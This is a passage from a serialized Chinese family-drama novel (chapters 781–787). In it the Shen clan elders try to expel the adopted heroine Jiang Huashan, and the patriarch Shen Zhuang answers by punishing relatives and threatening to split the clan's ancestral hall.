见终于吸引了他们的注意,他才慢条斯理地抬高了伞沿,露出一双肆意不羁的丹凤眼。 “就是,沈兰晞你搞清楚!我们小姜律师,可是这世界上最讲道理的人!” …… 第781章 讨要说法 “沈清予?!” 姜花衫脸上那副凶神恶煞、仿佛怎么都哄不好的表情,顷刻间冰雪消融。她眼睛一亮,宛如一只终于见到归巢的欢快小鸟,毫不犹豫地直奔连廊下那道身影而去。 这一幕,分毫不差地落进沈兰晞眼中,尖锐得刺眼。 “你怎么来了?”姜花衫的声音里带着显而易见的雀跃。 沈清予已经放弃了纠正她这没大没小的称呼,意味深长地瞥了沈兰晞一眼,一副理所当然的模样:“下这么大雨,听说我们小姜律师还没回家,我不得赶紧来接公主殿下回家?” 他说得轻巧,但其实是因为看见姜花衫亲自替余笙澄清被吓回了鲸港,顾老太太现在还在跟他置气呢。 姜花衫哪会不懂沈清予这是想逗她开心,又要膈应沈兰晞?她从善如流,立刻亲昵地挽住他的手臂,声音清脆:“那还等什么?走走走,回家!” 说罢,她像是才想起身后还站着个人,回过头,冲沈兰晞随意地摆了摆手:“现在有清予哥送我了,你不用跟爷爷交代了,快回去找你的苏小姐吧!” 沈清予极其配合地咧嘴一笑,“唰”地一声抖开宽大的黑伞,学着姜花衫的样子,朝沈兰晞的方向潇洒地挥了挥手,语调拖长,满是戏谑:“听见没?去找你的苏小姐吧~” 沈兰晞:“……” 沈清予带来的伞足够宽大,加之他刻意将伞面向姜花衫倾斜,尽管庭院中的秋海棠已被暴雨打得零落不堪、抬不起头,姜花衫的发梢却未沾染半分湿意。 车辆平稳驶入沈园,三人径直前往沁园见老爷子。 “爷爷——” 刚踏入沁园,姜花衫便忍不住加快脚步,朝着灯火通明的花厅小跑而去。今天闹出这么大动静,按理早该回来给老爷子一个交代,老爷子等到此刻,已是给了最大的尊重。 然而,她的前脚刚迈入花厅门槛,就被眼前的景象怔住定在了原地。 花厅内,沈庄端坐在主位的太师椅上,面色沉静。其下首,二十余张紫檀木圈椅井然排列,竟已是座无虚席。更有十数人安静地立于椅后,将原本宽敞的花厅衬得颇有几分拥挤。 放眼望去,竟是黑压压的一片人。 在座的除了沈家二代几位核心人物,其余皆是常年居于老宅、或在家族中担任要职的沈氏族人。他们似乎先前正在进行某种商议,因她的突然闯入而骤然中止,所有人的目光或探究或审视,齐刷刷地聚焦在她身上。 空气仿佛在这一刻凝滞。 “爷爷。” 这时,沈兰晞与沈清予一前一后随之步入花厅。 两人对此情此景似乎早有预料,面上不见半分讶异。沈兰晞神色是一贯的冷清,沈清予则收敛了玩笑,二人从容不迫,向着主位的沈庄及厅内诸位长辈微微颔首致意,姿态沉稳,不见波澜。 沈家族人见了沈兰晞,脸上的神色才缓和了许久,带着笑意寒暄。 “兰晞回来了?” 第782章 离经叛道者+1 若是平日里,借沈航一万个胆子也不敢这般同沈庄说话。可眼下事关家族存亡,他站在一族生死的大局之上,不敢也敢了。 沈谦微微蹙眉,目光在沈航脸上停留片刻,又缓缓扫过屋内一众族人。 这些人千里迢迢从襄英赶来,显然是早已私下通过气。他如今地位尴尬,明哲保身方为上策。 沈庄并未因沈航的无礼流露出半分不悦,甚至未曾抬眼看他,只低头抿了口茶。茶水氤氲的热气朦胧了他深邃的眉眼,声线平淡无波:“小花儿,你有什么想说的?” “还说什么?”先前言辞激烈的老者再度拍案而起,“我们要的是交代,不是来听一个小丫头片子——” 沈庄倏然抬眼。 那目光沉静如古井寒潭,却让老者瞬间头皮发麻,未尽之言卡在喉间,讪讪落座。 满室寂静落针可闻,众人交换着眼神,暗流在无声的目光中汹涌,却无人再敢出声。 姜花衫恍若未觉这剑拔弩张的气氛,清了清嗓子,声音清亮:“爷爷,我觉得这事儿也不能全怪大伯。” “?”沈谦上一秒还打算置身事外,下一秒就被这飞来横祸砸得措手不及,错愕地瞪着姜花衫,眼底几乎要喷出火来。 这疯丫头又开始了?连题都不审了? 姜花衫一脸正气凛然:“他不过是一时得意忘形,犯了一个身坚志残的男人都会犯的错。这是他个人作风问题,至多是他的家庭矛盾,还上升不到叛国的高度。这是污蔑。” 经过一整日的“角色扮演”,她拿捏起律师的腔调越发娴熟。 沈谦忍无可忍,额角青筋跳动:“他们现在说的是你替余笙辩护的事!你别在这里装疯卖傻、混淆视听!” “诶?”姜花衫满脸无辜,目光在沈航和那老者之间转了转,“你们方才慷慨激昂说了半晌……原是在说我?” “……”沈航早已领教过她胡搅蛮缠的功力,不欲与她做口舌之争,冷声道:“那余笙是什么东西?竟敢当众控诉生身之父!此等不孝之徒,放在往日是要受千夫所指、万人唾弃的!” “还有你!一个姑娘家不知收敛,竟敢抛头露面出这等风头,是想牝鸡司晨,图谋不该你想的东西吗?” 姜花衫嘴角那点若有似无的笑意渐渐淡去,眸色微沉。 “爷爷!” 正当厅内气氛僵持如绷紧的弓弦时,两道身影一前一后踏入厅堂。 傅绥尔与沈眠枝步履从容地跨过门槛,恭敬地向主位上的沈庄问安。 沈娇与沈执皆是一怔,面露诧异。 沈庄却仍是那副波澜不惊的模样,温和颔首:“绥尔也回来了?” 傅绥尔唇角轻扬,笑意却不达眼底:“嗯,看到同一时代下还有这样的热血,我在异乡一刻都待不下去了,所以就跟老师告了假。” ” 沈航脸色微沉,眯眼打量傅绥尔,他刚刚还在指责姜花衫行为失格,这丫头就用‘热血’回击,显然是说给他听的。 沈庄抬手虚按:“既然回来了,都坐下听听吧。” 话音一落,沈家族人纷纷怔愣,面面相觑低着头小声议论。 宗族会议,岂容女子旁听?姜花衫在场已是破例,毕竟事因她而起。沈娇一个外姓女坐于堂下早已引得不少人心生不满,如今竟又添两个年轻姑娘?成何体统! “老爷子……” 几位族老当即起身欲劝,沈庄却似早已料到,随手将茶盏轻搁在案上。清脆的磕碰声不大,却让所有嘈杂戛然而止。 “这里是沈园。”他声音平淡,却带着不容置疑的分量,“在沈园,我的话,就是规矩。” 那股无形的威压如潮水般漫过厅堂,压得众人不由自主地弯下脊背,纷纷敛目噤声,纵然心中百般不愿,也无一人敢再做仗马之鸣。 片刻死寂后,众人终究陆续妥协落座,只是脸色愈发晦暗不明。 沈庄指尖轻点沈航的方向,语气听不出喜怒:“你继续说。” 沈航只觉得胸口憋闷,气氛诡异得让人窒息。但箭已离弦,不容回头。他硬着头皮,声音愈发冷硬:“非我族类,其心必异。沈家百年荣光,决不容许门楣蒙尘。此次姜花衫所为离经叛道,骇人听闻,恳请老爷子做主,将其逐出宗族,以正家风!此外,叛国之罪乃民愤之所向,我辈族人当时刻自省,绝不与之为伍!” 这番发言掷地有声,如同巨石投入死水,在厅堂中激起层层回响。族老们纷纷抚掌点头,深以为然,浑浊的眼中闪烁着赞许与共鸣的光芒。 相比之下,沈家本家众人却陷入一种诡异的沉默。 不仅年轻一辈眼观鼻、鼻观心,就连素来喜欢搅屎的二代核心们,此刻也默契地摆出了与旁支族人泾渭分明的姿态。 无他,只因太多血的教训告诉他们,只要姜花衫还能安然坐在这主厅之内,老爷子的心,就永远会毫无原则地偏向她。 而且,现在的沈族早已经不是五十年前各房并立的辉煌时代,而是沈庄一脉独掌乾坤。 说句难听的,眼下这些义愤填膺的族人加起来,其重量也抵不过沈庄轻描淡写的一句话。他们固守着陈旧族规,认不清谁才是大小王,但沈家二代们个个都是人精,绝不会犯这种糊涂。 “小花儿。” 沈庄一开口,仿佛有无形的手骤然扼住了所有人的喉咙,厅内瞬间陷入一种落针可闻的诡异寂静。 众人屏息凝神,以为老爷子终于要给个交代时,沈庄依旧是处变不惊的态度,“你还有什么想说的吗?” 沈航眉头紧锁,正要开口施压—— “爷爷,”人群之中,傅绥尔却倏然站起身。她声音清越,打破了凝滞的空气,“我有话说,能不能让我说两句?” 原本已准备起身的姜花衫动作一顿,略带诧异地瞥了傅绥尔一眼,随即又安然坐了回去。 “你有话说?”沈庄眼中掠过一丝刻意的兴味,微微颔首,“好,你说。” 傅绥尔微微躬身一礼,从人群中坦然走出。她脊背挺得笔直,步履从容,不见丝毫怯懦:“爷爷,我想跟您说说我在S国的所见所闻。” “世人都道白家女王白朱拉手段狠厉,强权镇压,”她目光澄澈,不卑不亢地迎向沈庄的视线,“但爷爷,我亲眼所见的S国,虽崇敬王权,却民智开化。尤其在男女平等一事上,便是王储之位,亦是有才者居之,而非男性者得之!” 这番简直大逆不道的言论,精准地踩中了所有守旧族老的逆鳞。 一群老古板当即拍案而起,手指颤抖地指向她,怒不可遏:“白朱拉穷兵黩武,S国迟早亡于她手!一介女流,只知毒蝎之技,连结发丈夫都能亲手毒杀,此等毒妇也算明君?你一个女孩子,好的不学竟学她?!是要反了天吗!” 姜花衫饶有兴致地挑眉,看向对面那激动得满面通红、浑身发抖的老头儿,只觉得他下一瞬就要气得背过气去。 傅绥尔却毫无惧色,反而扬起了下巴,带着一股灼人的锐气:“要是毒杀一个无能的丈夫能稳住国家三十年繁华,我也杀!男人算什么?身为君王,第一顺位当然是子民。她舍的是妻子的角色,带上的却是女王的冠冕,天底下哪又比这更划算的买卖?” “你……!” 老古板们气得捶胸顿足,险些喘不上气。 一个“姜花衫”尚未解决,如今竟又跳出来一个更离经叛道的! 沈娇静静凝视着人群中那个身姿挺拔的少女,眼前的影像渐渐与多年前那个稚嫩却倔强的身影重合。面对铺天盖地的谩骂与指责,傅绥尔眼中没有丝毫怯懦,那簇燃烧在她眼底的火焰,仿佛能焚尽一切阻碍。 她很欣慰,那个初夏夜晚,曾对她说“我想做总统”的女孩儿,也长大了。 …… 第783章 沈家的公鸡都不会打鸣吗? 傅绥尔的反驳显然和这些老古板不在一个层面。 他们的眼界只停留在白朱拉为妻为母的层面,但傅绥尔已经上升到了大气层,她看到的是一个女性与整个王朝的奔赴。 夏虫不可语冰,蟪蛄不知春秋。所有人因为傅绥尔一句话被彻底点燃,纷纷起身看向沈庄,“老爷子,此等风气不可纵容啊。” 沈庄始终保持着淡定,温声询问:“说完了?” “没有。”傅绥尔摇头,“我还有一句。” 说着,她转身看向座位上的沈兰晞和沈清予,“哥哥们,要是没有能力坐稳你现在的位置,就别占着茅坑不拉屎。” 沈兰晞淡淡掀眸,波澜不惊地打量傅绥尔。 沈清予气笑了,双手抱胸,“小鬼,别出趟门就忘了自己是谁了?咱们沈家可不一样,小时候要不是爷爷偏心女孩儿,你早就被我打死了。” 小时候的傅绥尔是杀马特本特,鼻环、唇环、眉环,再加上五颜六色的头发,是沈清予看一眼都嫌弃的程度。 傅绥尔只当听不懂沈清予的言外之意,转头看向沈庄,“爷爷,刚刚有人说衫衫牝鸡司晨,图谋上位,我就想问,是沈家的公鸡都不会打鸣了吗?否则为什么衫衫不过受到一点关注,他们就迫不及待给她扣上‘牝鸡司晨’的罪名?” 沈庄眉心跳了跳,尤其听见‘沈家的公鸡都不会打鸣’,简直哭笑不得,这是把他也骂进去了。 姜花衫有些意外地看了傅绥尔一眼,她并不是不能自己解释,但这傻丫头扛着枪一个人冲到最前面,也太莽撞了。 见没有人回答,傅绥尔又把目光落在沉默的沈家人身上,“大舅、二舅、小舅舅,还有两位哥哥?这不是你们应该惭愧的事情吗?你们要是打鸣打得好,她需要做小姜律师吗?她现在就该是小姜画家了。” 被点名的几人脸色不一,尤其是沈谦。 众所周知,他因后院着火让沈家背负了所有骂名,而姜花衫这次出头,赢得了全国上下一致好评,从某种程度上也算替沈家挽回了一点颜面。 沈兰晞眸光暗潋,转而看向一直沉默的姜花衫。 余笙以死明志的时候他就在现场,看惯了奸诈求生之辈,余笙的傲骨的确让他记忆犹深。但这场对峙里,留给他最深印象的不是粉身碎骨浑不怕、要留清白在人间的热血,而是审判桌上,字迹未干的四个字: -以“死”明志。 平心而论,作为上位谋划者,即便那个时候他出手,也只会站在沈家的立场谋划。所以不管余笙是否选择嫁祸沈归灵,她最终的下场一定会沦为弃子。没有利用价值的人,连上桌的资格都没有。 姜花衫看透了棋局,却依旧怜悯每一个身在局中的人,所以她选择了另一条更艰难的路。她把自己推了出去,保护了余笙,也保住了沈家。 她明明替余笙盘活了前路,却依旧会在余笙受到伤害时自责。 这些,他都看在眼里。 “强词夺理!”沈航明显感觉到风向不对,言辞急切地看向沈庄,“老爷子,我们先说的是姜花衫替余笙辩护的事,这件事万一是有心之人布局,咱们沈家可就全完了!” “行了。”沈庄抬手打断他,“你们看过案件取证的全部经过吗?” 沈航一时没明白沈庄为什么这么问,点了点头,“看了。” 沈庄,“既然看了,怎么还有脸找上门?” 沈航顿时语塞,正想解释,沈庄的脸色却陡然严肃了起来。 “谁派你们来的?是那些意图嫁祸沈家卖国的人?” 沈航一下慌了神,众人也感觉到了气氛不对,赶紧起身解释,“老爷子,您这是什么话?我们也是为了沈家。” “为了沈家就给我闭嘴!”沈庄拄着拐杖狠狠震地,“当初我看着武太奶的份上不想与你们一般见识,你们倒好,还找上门来找我孙女的晦气,你们当我死了不成?” 一群人吓得缩了缩肩膀,不敢做声。 沈庄冷哼了一声,抬手指着沈兰晞,“兰晞,你给我去前厅跪着,跪不满十二个小时不许起来。” 沈兰晞垂眸,起身对着沈庄微微欠身,二话不说转头出了花厅。 厅外风雨大作,沈兰晞跪在青石板上,转眼功夫就淋得湿透。 沈庄抬眸,环顾四周,“还有谁有话要说?” …… 第784章 另立宗祠 一个八竿子打不着的养女做错了事,最后竟然让家中地位最高的小辈受罚?天底下哪有这样的道理? 这次来的基本都是族中的长者,这些人几乎和沈庄都是同辈,见沈兰晞受罚,有些掩面大哭,还有的直接起身对着襄英的方向又跪又拜。 “老爷子,您难道真糊涂了不成?” “我们自知人微言轻,比不得老爷子生杀予夺!既是如此,我今日就一头撞死在这,省得以后下去无颜见列祖列宗!” 说着最年长的老人扔了手里拐棍,当真就要往柱子上撞去,幸而被身旁几个眼疾手快的晚辈死死拉住。 “三叔公您别冲动啊!!” 被称作三叔公的老者挣扎着,花白的胡须因激动而不停抖动,他赤红着眼睛瞪向端坐主位的沈庄:“沈家百年清誉,何时轮到让一个外来的养女兴风作浪?如今她犯了错,反倒要正儿八经的嫡出小辈顶罪?天理何在!家法何存!” 沈航细细观察着沈庄的脸色,见他丝毫不为所动,神情激动,“叔父,您真的要为了一个外人寒了咱们这一家子的心吗?” 族老们个个情绪激动,有的捶胸顿足,有的老泪纵横,摆明了是要以辈分和性命相挟,逼沈庄收回成命。 姜花衫看着眼前鬼哭狼嚎的族人们,不知为何心里感到莫大的悲哀,她转头看向主位的沈庄,一个个闹上门以死相逼,就算心性再坚硬的人也会寒心吧? 上一世,不曾有过全族逼迫沈庄的剧目,看来,主线严重偏移的后遗症发挥作用了。 还有沈兰晞。 姜花衫转眸看向夜幕之下被雨水淋透的身影。 爷爷如此维护她,也不知道沈兰晞会不会因此和爷爷生出嫌隙,她已经尽可能避开指婚的情节,如果因余笙的事,离间了爷爷和沈兰晞,那就得不偿失。 转眼间,满屋子的哭诉声、哀求声、愤懑不平的指责声交织在一起,几乎要将屋顶掀翻。 沈娇拧着眉头,往主位看了一眼,沉着脸正要起身,沈清予已经捷足先登。 只听见‘砰’的一声巨响,百年小叶紫檀的茶几被踹飞了出去,撞上圆柱直接分裂成了两半。 沈清予双手插兜,他的眼睛细长,微微上挑便给人一种薄情恣戾的感觉,原本那些哭闹的长辈被巨响吓了一跳,抬眸对上沈清予的眼神,又被他眼里的狠劲吓住了。 沈航看着脚下碎裂的木屑,惊愕之余不由看了沈渊一眼。 沈渊根本顾不上沈航,气得直接跳脚,“清予!你干什么?” 一群长辈这才反应过来,强行端着长者的气势。 “沈清予,目无尊长,难不成是想造反不成?” 沈清予扯着嘴角,笑意凉薄,“你们不是个个嚷着要死吗?我送你们一程。” “……” 这话把一群老人家气得脸色青白,他们只不过是倚老卖老,哪是真的想死? 之前被拦住的三叔公哭得老泪纵横,一边抹着眼泪一边看向沈庄,“初棠,你难道真的要寒了我们的心吗?” 一声初棠,唤的不是沈氏族长沈庄,而是红楼少年沈初棠。 沈庄轻叹了一声,缓缓闭眼,“罢了。” 沈清予、傅绥尔、沈眠枝神情微愣,不由急了脸。 什么罢了?这些人明明不怀好意,难道爷爷妥协了,真的要赶衫衫出去? 姜花衫心里有些不好受,几度想张口又咽了回去。那些人要拦她,要阻她,一定会无所不用其极。虽然她从站出来的那刻就已经就知道自己会成为众矢之的,但她不想爷爷替她承受这一切。 沈庄再次抬眸,温和的眼眸蒙上了一层雾气。 “你们寻死觅活,不就是怕沈家之祸会牵连整个家族吗?既然如此,那就另立宗祠,以后各不相干!” 这话一出,之前还鬼哭狼嚎的众人被吓得直接噤声,甚至有人以为自己幻听了,反应过后重重摔倒在地。 姜花衫猝不及防,倏地抬眸看向沈庄。 另立宗祠是宗族社会中一种深刻而决绝的行为,它远不止是“分开过”那么简单,而是在宗法制度框架下的一种“政治独立宣言”。 沈庄继续道,“我会在全鲸港的报纸头版登报告示,从此鲸港沈家单开一脉,与襄英沈族同源不同宗,这样,诸位也不用担心会受我沈庄牵连,这样的交代,你们满意了?” 没有了鲸港沈家,襄英的沈族又算什么? 沈氏族人万万没想到沈庄竟然为了一个外人能做到如此地步,这次真是搬起石头砸自己的脚。 沈航僵愣在原地,一时没了主意。 “爷爷英明!”傅绥尔没心没肺拍手叫好。 沈谦、沈渊、沈让神情各异,虽然他们早就知道老爷子不可能受这些族人威胁,但手段如此决绝还是有些出乎意料。 之前喊着要死要活的长辈们像漏了气的气球,一个个萎靡不振,面面相觑后纷纷拉下脸求情。 “老爷子,您这话是不是太重了?沈家族人上千人,您就为了一个外人……” “外人?”沈庄轻叹了一声,摇了摇头,“三哥,论亲疏,你们才是外人。” 三叔公塌陷的眼角狠狠抖了一下,“老爷子,您……” 沈庄抬手,打断她,“幺儿,你把几个孩子都带回去。” 沈娇起身,目光淡淡看了沈航一眼,点头应道,“是。” 傅绥尔还有些不乐意,沈眠枝轻轻推了她一把,她只能瘪了瘪嘴往外走,刚走两步发现沈清予没动,还不忘小声提醒,“清予哥,走啊。” 沈清予没好气瞥了她一眼,转头坐了回去。 “诶?” 傅绥尔正欲出声,忽然听见耳边传来沈庄的声音,“外头雨大,让兰晞进来跪。” 都快淋了二十分钟了,这个时候才想起雨大? 傅绥尔眼神一转,立马反应过来爷爷是要关起门整顿家风了。 “走吧。”姜花衫与她并肩时,小声提醒了一句。 傅绥尔有些不甘心,却还是乖乖跟了上去,“爷爷为什么要支开我们?” 姜花衫回头看向主厅里那个孤独的上位者,轻声道,“不是支开,是保护。” …… 第785章 雨露均沾 厅堂内的喧嚣与哭嚎,被一道沉重的门隔开,成了模糊不清的背景音。沈兰晞独自跪在沈园前厅的庭院中,仿佛被抛入另一个世界。 他全身就已湿透。昂贵的衣料失去了挺括的姿态,紧紧吸附在皮肤上,勾勒出紧绷的脊背线条。雨水顺着他的黑发成股流下,划过棱角分明的下颌,再浸入早已湿透的衣衫。 冰凉的寒意刺入肌骨,但他跪姿依旧挺拔,如同一杆被狂风暴雨摧折却不肯弯折的青竹。 沈娇撑着雨伞,正要走进雨幕,姜花衫忽然上前,接过她手里的伞。 “我去吧。” 沈娇微愣片刻,瞬间就明白了姜花衫的意思。 沈兰晞在沈园一直都是天之骄子的存在,他性子冰冷又极度自傲,如今被老爷子当着全族的面处罚,如果不想办法缓解,就怕生了嫌隙。 沈娇点头,将雨伞递给她。 姜花衫接过伞,毫不犹豫地小跑着冲进了沉沉的夜幕。 豆大的雨点狠狠砸在伞面上,发出噼里啪啦的急促声响,几乎要将那单薄的伞面击穿,被小心提了一路的裙摆也溅上了深色的水渍。 沈兰晞低垂着眼睑,密集的雨珠顺着他优越的眉骨不断滚落,如同断了线的珍珠,视线一片模糊。 忽然,那砸在头顶和身上的、几乎令人麻木的冰冷撞击感消失了。他的头顶笼罩下一片安稳的阴影。 他低着头,这个视角最先看见的,是一双猝然闯入视线的、沾满湿漉漉水光的脚丫。纤细的银色绑带缠绕在白皙的脚踝上,裸露的脚趾因为寒冷微微蜷缩,上面挂满了晶莹的水珠,有种脆弱易碎的美感。 沈兰晞眼睑微抬,眸光骤然晃动,连着被打湿的睫毛也跟着微微颤抖,他已经猜到撑伞的是谁,他原本不想搭理,毕竟谁也不想让喜欢的人看见自己这么狼狈的一面。 可是如果不抬头,她大概又会觉得自己讨厌她了。 沈兰晞喉结艰难地滚动了一下,内心挣扎片刻,终是缓缓抬起头—— 也就在他抬头的同一瞬间,姜花衫慢慢地蹲下了身。 两人的动作默契得如同长镜头里的特写默片,一个盈盈眉眼,一个冰雪初融。 巨大的黑色雨伞在他们头顶撑开,如同一道无声的天堑,骤然阻隔了外面那个喧嚣冰冷的雨世界。 “你……” 沈兰晞眉眼湿透,向来冰冷淡漠的黑眸此刻像是被水洗过的墨玉,蒙着一层罕见的水汽与怔忪,清晰地倒映出她的身影。 他刚开口,姜花衫主动把伞递给他。 “沈兰晞,不要生爷爷的气。”她的声音很轻,却异常清晰,穿透雨幕直抵他心底。 沈兰晞愣了愣,眼底翻涌的情绪来回晃动着,最终缓缓低下头,视线落在眼前那截纤细的伞柄上。 这是姜花衫第一次主动靠近他。 姜花衫见他盯着她手里伞柄出神却没有伸手的意思,以为沈兰晞在置气,皱了皱眉,不由分说抓起他的手,强行将伞柄递进他的掌心。 “爷爷罚你,是因为他对你期望最高,你这么聪明,不可能连这都看不透吧?” 她的语气带着一丝不易察觉的急切。 沈兰晞怔怔地看着那双包裹着自己手掌的小手,那一点温暖的触感在这冰冷的雨夜里几乎烫伤他。他心绪纷乱,低声喑哑道:“我知道。” 听他这样说,姜花衫心里高悬的大石总算落下一半。前世种种如噩梦浮现,都是因为她,沈兰晞和爷爷之间才生出难以弥补的裂痕。这一世,她绝不容许重蹈覆辙。 “不是知道!”她纠正道,目光灼灼地看着他,语气郑重得近乎沉重,“是要永远记住。” 沈兰晞心有所动,倏然抬头看向她。 姜花衫此刻的情绪很是复杂,连同眼里也带着沉重的悲思。 上一世,爷爷暴毙,沈兰晞毫无理由怀疑每一个沈家人,为了追查真凶该得罪的不该得罪的人都得罪完了。 现在想想,他那个时候那么激进,应该也是受不了爷爷的突然离开,就像懊悔当年的沈玺之死的应激反应。 只是沈玺死的时候,他尚且还是孩童,不管如何疯魔都还有个爷爷替他兜底。但爷爷死的时候,他已经是被寄予厚望的沈家继承人,没有人能再满足他开棺道别的偏执。 所以他无差别攻击所有可能是杀害爷爷的凶手,在爷爷这件事上,他暴虐地选择了宁可错杀也不可漏过。 姜花衫轻轻拍了拍他的手背,像一位历经沧桑的长者,语重心长,“沈兰晞,不要等失去以后才去珍惜,失去就是失去。” 花厅里的气氛异常沉默,自沈庄开启了另立宗祠的话题,所有人一下失去了蹦跶的能力。 “爷爷。” 厅外,沈兰晞收了雨伞,小心将伞竖放在檐下的角落才慢慢进去。 沈庄点了点头,“我正要和他们商议另开房支的事,以后若是我不在了,这个家便由你护着,你跪在门口听。” 闻言,沈谦和沈渊脸色微变,相互递换眼神,一副看好戏的样子打量起沈兰晞。 往日都是他们被骂得狗血淋头,现在终于轮到沈兰晞了。俗话说,虱多不怕身上痒,像沈兰晞这种天之骄子向来得老爷子的偏爱,年轻气盛,也不知道受不受得住? “是。”沈兰晞神色平静,不卑不亢跪下。 竟然这么能忍?沈谦和沈渊什么时候见沈兰晞吃过瘪,一时没忍住翘起了嘴角。 这可是好的开始啊,沈兰晞能被罚一次就能被罚第二次,看来沈玺的光芒也护不住他几次了。 两人的一举一动都被沈庄看在眼里,老爷子深吸了一口气,淡淡道,“你们几个怎么还愣着不动?绥尔的话你们听了难道不臊得慌吗?沈家的公鸡都不会打鸣了吗?没有打鸣的都给我去门口跪着!” “……”沈谦和沈渊嘴角的笑容顿时裂开。 …… 第786章 攘外必先安内 “父亲?” 众目睽睽之下,竟要他这位有头有脸的议员长跟着小辈一同罚跪,这要是传出去,他往后哪还抬得起头? 沈谦硬着头皮站起身,刚想开口求情,话音还未出口,沈庄那冰冷如刀锋的眼神就凌厉地扫了过来。 他心头猛地一颤,到嘴边的话瞬间咽了回去,二话不说,“扑通”一声,干脆利落跪倒在地。 这就屈服了? 沈渊一脸错愕,正犹豫着要不要硬扛,一旁的沈让和沈清予已经一声不吭跪了下去。 “……” 怎么都这么爽快?! 沈让倒也罢了,那个逆子向来是宁死不屈今天是怎么了? 沈渊自知一个人孤掌难鸣,纵是心中万般不甘,也不敢在这个时候忤逆,只得咬咬牙跟着跪下。 厅外雷电交加,映得每个人脸上明暗不定。 沈谦暗暗抬眸瞥了沈庄一眼,原来突然把那几个丫头支走,是要清算旧账了。 他如今处境尴尬,不宜再做出头之鸟,一切……还是等阿灵回来再从长计议。 眼看沈家几位齐刷刷跪地,原本就心慌意乱的族人们更是六神无主,三叔公颤巍巍地站起身,朝沈庄躬身行了一个大礼: “家主,您这是……要做什么啊?” 他话音一落,其余众人也纷纷抬头看向沈庄,眼神惶惑不安。 沈庄目光冷冽,如寒霜扫过全场,声音沉郁:“这话,该我来问你们。” “当年我父兄全族浴血奋战无人生还,族产被吞,你们冷眼旁观,我不曾迁怒。”他语气陡然一厉,如金石掷地,“如今,有人蓄意谋害沈家,你们若依旧如从前般袖手,我还是无话可说!可你们,是怎么做的?” “你们这一群人!”老爷子猛地抬手,枯瘦的手指直直点向满堂族人,眼神锐利得几乎刺穿人心,“连夜奔赴鲸港,竟然就为了联合逼走一个孩子?!我沈庄自认待你们不薄,你们这般冷血,真是让我……刮目相看!” 一席话如惊雷炸响,众人顿时慌作一团。 三叔公急忙辩解:“老爷子,话不能这么说啊!我们也是为了沈……” “为了沈家?”沈庄毫不客气地截断他的话,冷笑一声,“哪个沈?沈肇的沈,还是沈之的沈?” “沈肇”、“沈之”两个名字一出,满堂霎时死寂,几个年长的族人甚至下意识地缩了缩脖子。 五十年前,沈庄强势回归,以雷霆手段血洗同族三房,参与者尽数诛灭,只留妇孺。那一夜的腥风血雨,至今仍是萦绕在沈氏族人噩梦中的一根尖刺。 三叔公万万没想到沈庄竟将他们与当年那些叛徒混为一谈,顿时面色惨白:“初棠,当年之事我们确有愧疚,可他们三族联盟势大,我们小门小户如何抵抗?往事已矣,如今我们早是一家人,你……你难道不信我们?” “一家人?”不待沈庄回应,跪在地上的沈清予忽然嗤笑出声,“三叔公是把爷爷当老糊涂了,还是觉得我们沈家人都是被门夹坏脑子的智障?” “你……”老人没料到这晚辈竟敢当场顶撞,气得手指发颤,“我和族长说话,哪有你插嘴的份?还有没有规矩!” 沈清予虽跪在地,脊背却挺得笔直,清冷的目光如出鞘的剑,气势反而压过了颤巍巍的三叔公: “族长?都要另立宗祠了,我爷爷又是你们哪门子的族长?” 他声音不高,却字字清晰,“你们口口声声说是看了视频才赶来,那就该清楚,当时那两位检察官分明是在诱导余笙嫁祸沈归灵,妄图攀咬整个沈家!衫衫这次挺身而出,不仅是救了余笙,更是替沈家表明了立场!于沈家而言,这是大功!” 他眼神讥诮地扫过众人:“可你们做了什么?你们非但没有半句肯定,反而联合起来诋毁她,甚至仗着人多势众,想逼爷爷将她逐出家门?” “撇开是非对错不谈,如今外界人人都想知道余笙背后的真相究竟是什么!沈家立足A国世家之首,这个时候却没有承担责任的勇气,以后还有什么面目立足A国?!你们在这个时候,逼爷爷发作衫衫,明摆着居心不良!说!你们到底是受了谁的指使?!” 这番话如一块巨石砸进死水,激起千层浪。在场族人几乎全都慌慌张张地起身辩解: “胡说!我们一心都是为了沈家!” “是啊!老爷子,您千万别误会啊!” 人群喧嚣中,唯有沈航脸色铁青,无人察觉,他死死攥紧的拳心里已浸满了冷汗。 三叔公怔在原地,细想之下,枯瘦的身形愈发摇摇欲坠。 他转头望向沈庄,见对方丝毫没有斥责沈清予的意思,顿时心如明镜,看来这次来鲸港,恐怕是他们做的最错误的决定。 他们已经老了,即便失去沈家的庇护,余生也能勉强安稳。可族中那些孩子呢?前不久沈钧还召集族人,说要统计有才华的晚辈,由沈家资助来鲸港求学,若真在此刻被分出宗祠,这条登天之路,岂不断了? 蓦地,三叔公似乎想到什么,眼睛一亮,嘶哑带着喉咙高声道,“族长!这次来,我们也是和阿钧堂兄商议过的,若不是他被衫衫气晕了过去,此刻也同我们一起站在这了。” 沈家族人都知道,当年沈钧舍命救过沈庄,沈庄待沈钧格外不同,这个时候提及沈钧无非是想告诉沈庄,他们虽然行为有失,但并无谋害之心。 未免沈庄不信,三叔公在人群里寻找了一圈,像抓住救命稻草一样拽着沈航的胳膊,“阿航,你快跟族长解释,这次大家来,都是听了你父亲的安排。” 沈航额头冷汗密集,抬头看了沈庄一眼又立马低下头,“是!是父亲说……” 沈庄却像是看透了这一切,冷冷道,“阿航,想清楚了再说。” 沈航受不住沈庄的施威,闭着眼睛,盲目点头,“是!爸爸因为身体原因不能亲自过来,特意嘱咐我召集族里的长辈一起劝阻老爷子。老爷子,天地明鉴,我们真的没有歪心。” 沈庄闭了闭眼,摆摆手,“既然冥顽不灵,那我就替你的父亲好好教训你。老二,你不是不想跪吗?既然如此,你去打断沈航的腿。” …… 第787章 狗咬狗,一嘴毛 “?” 突然被点名的沈渊猛地抬起头,满脸震惊,几乎怀疑自己听错了。 他难以置信地望向主位上的沈庄,喉咙发干,“啊?” 一旁的沈航更是吓得魂飞魄散,腿一软直接瘫倒在地,手脚并用地爬向前方,对着沈庄拼命磕头,“叔父!饶命啊叔父!您就算是看在我父亲的面上,也不能这样对我啊……” 沈庄却置若罔闻,半垂着眼帘,目光如冰冷的刀锋刮过沈渊,“怎么?你有疑问?” 沈渊霎时屏住呼吸,连大气都不敢出,只低声嗫嚅:“这……这不太合适吧?” 沈庄根本不接他的话,径直转向一旁的沈让,声音没有一丝波澜,“老五,你去。打断老二和沈航的腿。” 命令落下的瞬间,不等沈让动作,沈渊猛地站起身,“爸!不、不麻烦老五了……我……我来。” 站在一旁的沈清予,冷眼看着眼前这幕闹剧。 